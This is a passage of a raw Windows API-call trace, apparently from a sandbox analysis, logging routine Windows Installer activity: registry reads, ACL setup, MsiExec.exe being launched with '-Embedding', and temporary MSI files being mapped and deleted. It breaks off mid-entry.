[0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x4db405d8 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x4862e393 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x5475b975 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x74e5454b [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2188754f [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x355673a9 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2a1f6232 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x5fc894f0 [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x2e49644d [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x278a039e [0204.709] RtlRandom (in: Seed=0x1d9ee80 | out: Seed=0x1d9ee80) returned 0x64495118 [0204.709] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer", ulOptions=0x0, samDesired=0x20119, phkResult=0x1d9eac0 | out: phkResult=0x1d9eac0*=0x3b4) returned 0x0 [0204.709] RegQueryValueExW (in: hKey=0x3b4, lpValueName="MsiExecCA32", lpReserved=0x0, lpType=0x0, lpData=0x1d9eaf0, lpcbData=0x1d9eab0*=0x26a | out: lpType=0x0, lpData=0x1d9eaf0*=0x43, lpcbData=0x1d9eab0*=0x40) returned 0x0 [0204.709] UrlIsW (pszUrl="C:\\Windows\\syswow64\\msiexec.exe", UrlIs=0x0) returned 0 [0204.710] lstrlenW (lpString="C:\\Windows\\syswow64\\msiexec.exe") returned 31 [0204.710] memcpy (in: _Dst=0x3c0900, _Src=0x338f98, _Size=0x16 | out: _Dst=0x3c0900) returned 0x3c0900 [0204.710] UrlIsW (pszUrl="C:\\Windows\\syswow64", UrlIs=0x0) returned 0 [0204.710] lstrlenW (lpString="C:\\Windows\\syswow64") returned 19 [0204.713] memcpy (in: _Dst=0x3c2610, _Src=0x3722a0, _Size=0x4 | out: _Dst=0x3c2610) returned 0x3c2610 [0204.713] lstrlenW (lpString="\\") returned 1 [0204.713] lstrlenW (lpString="\\\\") returned 2 [0204.713] wcsstr (_Str="\\Windows\\syswow64", _SubStr="\\\\") returned 0x0 [0204.713] memcpy (in: _Dst=0x1d9dc60, _Src=0x3722a4, _Size=0x24 | out: _Dst=0x1d9dc60) returned 0x1d9dc60 [0204.713] lstrlenW (lpString="Windows") returned 7 [0204.713] lstrlenW (lpString="Windows") returned 7 [0204.713] lstrlenW (lpString="syswow64") returned 8 [0204.714] lstrlenW (lpString="syswow64") returned 8 [0204.714] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0204.714] lstrlenW (lpString="\\Windows\\syswow64") returned 17 [0204.714] lstrlenW (lpString="\\") returned 1 [0204.714] memcpy (in: _Dst=0x372700, _Src=0x372340, _Size=0x22 | out: _Dst=0x372700) returned 0x372700 [0204.714] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0204.714] GetFileAttributesW (lpFileName="C:\\Windows\\syswow64" (normalized: "c:\\windows\\syswow64")) returned 0x10 [0204.714] lstrlenW (lpString="MsiExec.exe") returned 11 [0204.714] lstrlenW (lpString="MsiExec.exe") returned 11 [0204.714] lstrlenW (lpString="MsiExec.exe") returned 11 [0204.714] memcpy (in: _Dst=0x3722a0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3722a0) returned 0x3722a0 [0204.714] memcpy (in: _Dst=0x3722a4, _Src=0x372700, _Size=0x26 | out: _Dst=0x3722a4) returned 0x3722a4 [0204.714] lstrlenW (lpString="MsiExec.exe") returned 11 [0204.714] memcpy (in: _Dst=0x338f70, _Src=0x3722a0, _Size=0x28 | out: _Dst=0x338f70) returned 0x338f70 [0204.714] memcpy (in: _Dst=0x32d328, _Src=0x7fef7ab7f88, _Size=0x18 | out: _Dst=0x32d328) returned 0x32d328 [0204.715] GetFileAttributesExW (in: lpFileName="C:\\Windows\\syswow64\\MsiExec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe"), fInfoLevelId=0x0, lpFileInformation=0x1d9e970 | out: lpFileInformation=0x1d9e970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0c6f80, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00)) returned 1 [0204.715] memcpy (in: _Dst=0x3722a0, _Src=0x338890, _Size=0x4 | out: _Dst=0x3722a0) returned 0x3722a0 [0204.715] memcpy (in: _Dst=0x3722a4, _Src=0x372700, _Size=0x26 | out: _Dst=0x3722a4) returned 0x3722a4 [0204.715] RegCloseKey (hKey=0x3b4) returned 0x0 [0204.715] lstrlenW (lpString="MsiExec.exe") returned 11 [0204.715] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76b00000 [0204.716] GetProcAddress (hModule=0x76b00000, lpProcName="GetSystemWow64DirectoryW") returned 0x76b62610 [0204.716] GetSystemWow64DirectoryW (in: lpBuffer=0x1d9f030, uSize=0x104 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0204.716] FreeLibrary (hLibModule=0x76b00000) returned 1 [0204.716] SetLastError (dwErrCode=0x0) [0204.716] lstrlenW (lpString=" -Embedding ") returned 12 [0204.716] memcpy (in: _Dst=0x34ba40, _Src=0x338f70, _Size=0x3e | out: _Dst=0x34ba40) returned 0x34ba40 [0204.716] memcpy (in: _Dst=0x1d9f460, _Src=0x7fef7aaf5e0, _Size=0x22 | out: _Dst=0x1d9f460) returned 0x1d9f460 [0204.716] lstrlenW (lpString="B1AA17B6CADF22F8EA6EA8DDAD295317") returned 32 [0204.716] memcpy (in: _Dst=0x3beaa0, _Src=0x34ba40, _Size=0x56 | out: _Dst=0x3beaa0) returned 0x3beaa0 [0204.716] lstrlenW (lpString=" M ") returned 3 [0204.716] memcpy (in: _Dst=0x3bec20, _Src=0x3beaa0, _Size=0x96 | out: _Dst=0x3bec20) returned 0x3bec20 [0204.716] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.716] CreateEventW (lpEventAttributes=0x1d9ef20, bManualReset=1, bInitialState=0, lpName="Global\\MSI0000") returned 0x3b4 [0204.716] GetLastError () returned 0x0 [0204.716] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0204.716] lstrlenW (lpString="Global\\MSI0000") returned 14 [0204.716] memcpy (in: _Dst=0x2becba0, _Src=0x3bec20, _Size=0x9c | out: _Dst=0x2becba0) returned 0x2becba0 [0204.716] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x34c [0204.717] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x1, nSubAuthority0=0x12, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9ee90 | out: pSid=0x1d9ee90*=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0204.717] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1d9efb0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x1d9eea8 | out: pSid=0x1d9eea8*=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0204.717] GetCurrentThread () returned 0xfffffffffffffffe [0204.717] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x1d9ee48 | out: TokenHandle=0x1d9ee48*=0x1c0) returned 1 [0204.717] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x1, TokenInformation=0x1d9ed30, TokenInformationLength=0x58, ReturnLength=0x1d9ed20 | out: TokenInformation=0x1d9ed30, ReturnLength=0x1d9ed20) returned 1 [0204.717] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9f4c0, pSourceSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0204.717] CloseHandle (hObject=0x1c0) returned 1 [0204.717] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (in: This=0x7fefd6ba1b0, pUnk=0x2bec570, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x327814 | out: pdwCookie=0x327814*=0xd07) returned 0x0 [0204.717] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9eca8 | out: ppvObject=0x1d9eca8*=0x0) returned 0x80004002 [0204.717] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d9ecb0 | out: ppvObject=0x1d9ecb0*=0x0) returned 0x80004002 [0204.717] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x2bec570) returned 0x5 [0204.717] GetCurrentThread () returned 0xfffffffffffffffe [0204.717] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xf01ff, OpenAsSelf=1, TokenHandle=0x1d9ee40 | out: TokenHandle=0x1d9ee40*=0x1c0) returned 1 [0204.717] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x1, TokenInformation=0x1d9ec90, TokenInformationLength=0x58, ReturnLength=0x1d9ec80 | out: TokenInformation=0x1d9ec90, ReturnLength=0x1d9ec80) returned 1 [0204.717] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x1d9ed40, pSourceSid=0x1d9eca0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0204.717] ConvertSidToStringSidW (in: Sid=0x1d9ed40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x1d9ed30 | out: StringSid=0x1d9ed30*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0204.717] LocalFree (hMem=0x3c5b10) returned 0x0 [0204.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.717] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.718] GetLengthSid (pSid=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0204.718] GetLengthSid (pSid=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0204.718] GetLengthSid (pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0204.718] InitializeAcl (in: pAcl=0x1d9eb70, nAclLength=0x58, dwAclRevision=0x2 | out: pAcl=0x1d9eb70) returned 1 [0204.718] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pAcl=0x1d9eb70) returned 1 [0204.718] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x0, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb78) returned 1 [0204.718] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1fffff, pSid=0x377150*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: pAcl=0x1d9eb70) returned 1 [0204.718] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x1, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eb8c) returned 1 [0204.718] AddAccessAllowedAce (in: pAcl=0x1d9eb70, dwAceRevision=0x2, AccessMask=0x1000, pSid=0x1d9f4c0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pAcl=0x1d9eb70) returned 1 [0204.718] GetAce (in: pAcl=0x1d9eb70, dwAceIndex=0x2, pAce=0x1d9eb28 | out: pAce=0x1d9eb28*=0x1d9eba4) returned 1 [0204.718] InitializeSecurityDescriptor (in: pSecurityDescriptor=0x1d9eb30, dwRevision=0x1 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0204.718] SetSecurityDescriptorDacl (in: pSecurityDescriptor=0x1d9eb30, bDaclPresent=1, pDacl=0x1d9eb70, bDaclDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0204.718] SetSecurityDescriptorOwner (in: pSecurityDescriptor=0x1d9eb30, pOwner=0x377090*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), bOwnerDefaulted=0 | out: pSecurityDescriptor=0x1d9eb30) returned 1 [0204.718] GetSecurityDescriptorLength (pSecurityDescriptor=0x1d9eb30) returned 0x8c [0204.718] MakeSelfRelativeSD (in: pAbsoluteSecurityDescriptor=0x1d9eb30, pSelfRelativeSecurityDescriptor=0x32d2e0, lpdwBufferLength=0x1d9eb20 | out: pSelfRelativeSecurityDescriptor=0x32d2e0, lpdwBufferLength=0x1d9eb20) returned 1 [0204.718] IsValidSecurityDescriptor (pSecurityDescriptor=0x32d2e0) returned 1 [0204.718] RtlCreateEnvironment (in: Inherit=1, Environment=0x1d9ee30 | out: Environment=0x1d9ee30*="ALLUSERSPROFILE=C:\\ProgramData") returned 0x0 [0204.718] memcpy (in: _Dst=0x1d9f250, _Src=0x2becba0, _Size=0xba | out: _Dst=0x1d9f250) returned 0x1d9f250 [0204.718] CreateProcessAsUserW (in: hToken=0x3ac, lpApplicationName="C:\\Windows\\syswow64\\MsiExec.exe", lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding B1AA17B6CADF22F8EA6EA8DDAD295317 M Global\\MSI0000", lpProcessAttributes=0x1d9f460, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x420, lpEnvironment=0x2128120, lpCurrentDirectory="C:\\Windows\\SysWOW64", lpStartupInfo=0x1d9ef40*(cb=0x68, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1d9ee60 | out: lpCommandLine="C:\\Windows\\syswow64\\MsiExec.exe -Embedding B1AA17B6CADF22F8EA6EA8DDAD295317 M Global\\MSI0000", lpProcessInformation=0x1d9ee60*(hProcess=0x218, hThread=0x370, dwProcessId=0x3bc, dwThreadId=0xe50)) returned 1 [0204.725] RtlDestroyEnvironment (Environment="ALLUSERSPROFILE=C:\\ProgramData") [0204.725] SetThreadToken (Thread=0x1d9ee68*=0x370, Token=0x1c0) returned 1 [0204.725] CloseHandle (hObject=0x1c0) returned 1 [0204.725] SetEvent (hEvent=0x3b4) returned 1 [0204.725] CloseHandle (hObject=0x370) returned 1 [0204.726] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0204.727] CloseHandle (hObject=0x3ac) returned 1 [0204.727] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x1d9ef10*=0x218, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0204.888] CloseHandle (hObject=0x34c) returned 1 [0204.889] CloseHandle (hObject=0x218) returned 1 [0204.889] CloseHandle (hObject=0x3b4) returned 1 [0204.889] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xd07) returned 0x0 [0204.889] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x4 [0204.889] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.889] CloseHandle (hObject=0x0) returned 0 [0204.889] SetEvent (hEvent=0x350) returned 1 [0204.892] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x1d9f788*=0x364, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0211.202] PeekMessageW (in: lpMsg=0x1d9f730, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x1d9f730) returned 1 [0211.202] CloseHandle (hObject=0x364) returned 1 [0211.202] CloseHandle (hObject=0x350) returned 1 [0211.202] CoUninitialize () [0211.202] RtlExitUserThread (Status=0x0) Thread: id = 154 os_tid = 0xcc [0149.926] UrlIsW (pszUrl="C:\\Windows\\Installer\\MSIA7FC.tmp", UrlIs=0x0) returned 0 [0149.927] lstrlenW (lpString="C:\\Windows\\Installer\\MSIA7FC.tmp") returned 32 [0149.927] memcpy (in: _Dst=0x3c0640, _Src=0x338f3a, _Size=0x16 | out: _Dst=0x3c0640) returned 0x3c0640 [0149.927] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0149.927] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0149.927] memcpy (in: _Dst=0x3c2610, _Src=0x21049e0, _Size=0x4 | out: _Dst=0x3c2610) returned 0x3c2610 [0149.927] lstrlenW (lpString="\\") returned 1 [0149.927] lstrlenW (lpString="\\\\") returned 2 [0149.927] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0149.927] memcpy (in: _Dst=0x157f050, _Src=0x21049e4, _Size=0x26 | out: _Dst=0x157f050) returned 0x157f050 [0149.927] lstrlenW (lpString="Windows") returned 7 [0149.927] lstrlenW (lpString="Windows") returned 7 [0149.927] lstrlenW (lpString="Installer") returned 9 [0149.927] lstrlenW (lpString="Installer") returned 9 [0149.927] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0149.927] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0149.928] lstrlenW (lpString="\\") returned 1 [0149.928] memcpy (in: _Dst=0x372020, _Src=0x372250, _Size=0x24 | out: _Dst=0x372020) returned 0x372020 [0149.928] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0149.928] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0149.929] lstrlenW (lpString="MSIA7FC.tmp") returned 11 [0149.929] lstrlenW (lpString="MSIA7FC.tmp") returned 11 [0149.929] lstrlenW (lpString="MSIA7FC.tmp") returned 11 [0149.929] memcpy (in: _Dst=0x21049e0, _Src=0x338890, _Size=0x4 | out: _Dst=0x21049e0) returned 0x21049e0 [0149.929] memcpy (in: _Dst=0x21049e4, _Src=0x372020, _Size=0x28 | out: _Dst=0x21049e4) returned 0x21049e4 [0149.929] lstrlenW (lpString="MSIA7FC.tmp") returned 11 [0149.930] memcpy (in: _Dst=0x338f70, _Src=0x21049e0, _Size=0x2a | out: _Dst=0x338f70) returned 0x338f70 [0149.930] memcpy (in: _Dst=0x32d3c8, _Src=0x3c0640, _Size=0x18 | out: _Dst=0x32d3c8) returned 0x32d3c8 [0149.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp"), fInfoLevelId=0x0, lpFileInformation=0x157fcc0 | out: lpFileInformation=0x157fcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f206390, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7f206390, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7f206390, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x34000)) returned 1 [0149.930] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x370 [0149.930] GetFileType (hFile=0x370) returned 0x1 [0149.930] CreateFileMappingW (hFile=0x370, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x1c0 [0149.930] GetCurrentProcess () returned 0xffffffffffffffff [0149.931] NtMapViewOfSection (in: SectionHandle=0x1c0, ProcessHandle=0xffffffffffffffff, BaseAddress=0x157fe28*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x157fdd0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x157fe28*=0xcb0000, SectionOffset=0x0, ViewSize=0x157fdd0*=0x34000) returned 0x0 [0149.936] RtlImageNtHeaderEx (Flags=0x0, BaseAddress=0xcb0000, Size=0x34000, NtHeader=0x157fdd8) returned 0x0 [0149.936] GetCurrentProcess () returned 0xffffffffffffffff [0149.936] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0xcb0000) returned 0x0 [0149.937] CloseHandle (hObject=0x1c0) returned 1 [0149.937] CloseHandle (hObject=0x370) returned 1 [0149.942] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0149.942] SetEvent (hEvent=0x364) returned 1 [0149.963] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x157fcb0*=0x268, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x1 [0150.239] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xc07, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x157fd90) [0150.239] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3c5fe8, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x157fd90) [0150.239] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.239] CoQueryProxyBlanket (pProxy=0x3c5fe8, pwAuthnSvc=0x157fd08, pAuthzSvc=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x157fd00, pAuthInfo=0x0, pCapabilites=0x0) [0150.239] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3c5fe8, riid=0x7fefd68e0e0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x157fcb0) [0150.240] ObjectStublessClient3 () [0150.252] ObjectStublessClient4 () [0204.624] ObjectStublessClient5 () [0204.625] IUnknown_Release_Proxy (This=0x3c5fe8) returned 0x2 [0204.625] CoUninitialize () [0204.626] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0204.626] DeleteFileW (lpFileName="C:\\Windows\\Installer\\MSIA7FC.tmp" (normalized: "c:\\windows\\installer\\msia7fc.tmp")) returned 1 [0204.627] RtlExitUserThread (Status=0x0) Thread: id = 528 os_tid = 0x68c [0204.700] UrlIsW (pszUrl="C:\\Windows\\Installer\\MSI2306.tmp", UrlIs=0x0) returned 0 [0204.700] lstrlenW (lpString="C:\\Windows\\Installer\\MSI2306.tmp") returned 32 [0204.700] memcpy (in: _Dst=0x3c0900, _Src=0x338eda, _Size=0x16 | out: _Dst=0x3c0900) returned 0x3c0900 [0204.700] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0204.700] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0204.700] memcpy (in: _Dst=0x3c26a0, _Src=0x372340, _Size=0x4 | out: _Dst=0x3c26a0) returned 0x3c26a0 [0204.700] lstrlenW (lpString="\\") returned 1 [0204.700] lstrlenW (lpString="\\\\") returned 2 [0204.700] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0204.700] memcpy (in: _Dst=0x169edd0, _Src=0x372344, _Size=0x26 | out: _Dst=0x169edd0) returned 0x169edd0 [0204.701] lstrlenW (lpString="Windows") returned 7 [0204.701] lstrlenW (lpString="Windows") returned 7 [0204.701] lstrlenW (lpString="Installer") returned 9 [0204.701] lstrlenW (lpString="Installer") returned 9 [0204.701] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0204.701] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0204.701] lstrlenW (lpString="\\") returned 1 [0204.701] memcpy (in: _Dst=0x3722a0, _Src=0x372700, _Size=0x24 | out: _Dst=0x3722a0) returned 0x3722a0 [0204.701] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0204.701] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0204.701] lstrlenW (lpString="MSI2306.tmp") returned 11 [0204.701] lstrlenW (lpString="MSI2306.tmp") returned 11 [0204.701] lstrlenW (lpString="MSI2306.tmp") returned 11 [0204.702] memcpy (in: _Dst=0x372340, _Src=0x338890, _Size=0x4 | out: _Dst=0x372340) returned 0x372340 [0204.702] memcpy (in: _Dst=0x372344, _Src=0x3722a0, _Size=0x28 | out: _Dst=0x372344) returned 0x372344 [0204.702] lstrlenW (lpString="MSI2306.tmp") returned 11 [0204.702] memcpy (in: _Dst=0x3398d0, _Src=0x372340, _Size=0x2a | out: _Dst=0x3398d0) returned 0x3398d0 [0204.702] memcpy (in: _Dst=0x32d328, _Src=0x3c0900, _Size=0x18 | out: _Dst=0x32d328) returned 0x32d328 [0204.702] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\MSI2306.tmp" (normalized: "c:\\windows\\installer\\msi2306.tmp"), fInfoLevelId=0x0, lpFileInformation=0x169fa40 | out: lpFileInformation=0x169fa40*(dwFileAttributes=0x20, 